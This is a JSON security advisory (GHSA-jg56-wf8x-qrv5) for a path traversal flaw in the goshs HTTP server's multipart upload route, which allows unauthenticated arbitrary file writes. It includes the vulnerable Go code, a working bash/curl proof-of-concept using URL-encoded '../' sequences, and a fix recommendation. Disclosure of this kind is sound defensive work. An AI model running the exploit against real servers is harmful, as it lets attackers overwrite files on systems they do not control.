{"id":"GHSA-jg56-wf8x-qrv5","summary":"goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs POST multipart upload","details":"### Summary\n* POST multipart upload directory not sanitized | `httpserver/updown.go:71-174`\n\nThis finding affect the default configuration, no flags or authentication required.\n\n### Details\n\n**File:** `httpserver/updown.go:71-174`\n**Trigger:** `POST /\u003cpath\u003e/upload` (server.go:49-51 checks `HasSuffix(r.URL.Path, \"/upload\")`)\n\nThe filename is sanitized (slashes stripped, line 105-106), but the target directory comes from `req.URL.Path` unsanitized:\n\n```go\nupath := req.URL.Path                              // unsanitized\n\ntargetpath := strings.Split(upath, \"/\")\ntargetpath = targetpath[:len(targetpath)-1]         // strips trailing \"upload\"\ntarget := strings.Join(targetpath, \"/\")\n\nfilenameSlice := strings.Split(part.FileName(), \"/\")\nfilenameClean := filenameSlice[len(filenameSlice)-1]  // filename sanitized\n\nfinalPath := fmt.Sprintf(\"%s%s/%s\", fs.UploadFolder, target, filenameClean)\n```\n\nThe route requires the URL to end with `/upload`. An attacker uses a path like `/../../target_dir/upload`, the suffix satisfies routing, and the `../..` escapes the webroot. The filename on disk is controlled by the attacker via the multipart `filename` field (after basename extraction).\n\n**Impact:** Unauthenticated arbitrary file write to any existing directory on the filesystem.\n\n**PoCs:**\n```bash\n#!/usr/bin/env bash\n#\n# Example:\n#   ./arbitrary_overwrite2.sh 10.0.0.5 8080\n\nset -euo pipefail\n\nHOST=\"${1:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nPORT=\"${2:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nLOCAL_FILE=\"${3:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\nTARGET=\"${4:?Usage: $0 \u003chost\u003e \u003cport\u003e \u003clocal-file\u003e \u003cabsolute-target-path\u003e}\"\n\nif [ ! -f \"$LOCAL_FILE\" ]; then\n    echo \"[-] Local file not found: $LOCAL_FILE\"\n    exit 1\nfi\n\n# Split target into directory and filename.\n# The server builds: finalPath = UploadFolder + \u003cdir from URL\u003e + \"/\" + \u003cupload filename\u003e\n# So we put the target's dirname in the URL and the target's basename as the upload filename.\nTARGET_DIR=$(dirname \"$TARGET\")\nTARGET_NAME=$(basename \"$TARGET\")\n\n# 16 levels of %2e%2e/ (URL-encoded \"..\") to reach filesystem root.\n# Encoding is required so curl does not resolve the traversal client-side.\nTRAVERSAL=\"\"\nfor _ in $(seq 1 16); do\n    TRAVERSAL=\"${TRAVERSAL}%2e%2e/\"\ndone\n\n# Strip leading / and build path ending with /upload\nTARGET_REL=\"${TARGET_DIR#/}\"\nPOST_PATH=\"/${TRAVERSAL}${TARGET_REL}/upload\"\n\necho \"[*] Source:  ${LOCAL_FILE}\"\necho \"[*] Target:  ${TARGET}\"\necho \"[*] POST:    ${POST_PATH}\"\necho \"\"\n\nHTTP_CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n    --path-as-is \\\n    -X POST \\\n    -F \"file=@${LOCAL_FILE};filename=${TARGET_NAME}\" \\\n    \"http://${HOST}:${PORT}${POST_PATH}\")\n\necho \"[*] HTTP ${HTTP_CODE}\"\necho \"[*] File should now exist at ${TARGET} on the target.\"\n```\n\nTo execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`\n\n---\n\n## Recommendations\n\nChecking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.","aliases":["CVE-2026-35393","GO-2026-5468"],"modified":"2026-06-25T23:11:21.215167072Z","published":"2026-04-03T04:08:20Z","database_specific":{"github_reviewed_at":"2026-04-03T04:08:20Z","nvd_published_at":"2026-04-06T21:16:21Z","cwe_ids":["CWE-22"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-jg56-wf8x-qrv5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35393"},{"type":"PACKAGE","url":"https://github.com/patrickhener/goshs"}],"affected":[{"package":{"name":"github.com/patrickhener/goshs","ecosystem":"Go","purl":"pkg:golang/github.com/patrickhener/goshs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.5-0.20260401172448-237f3af891a9"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-jg56-wf8x-qrv5/GHSA-jg56-wf8x-qrv5.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}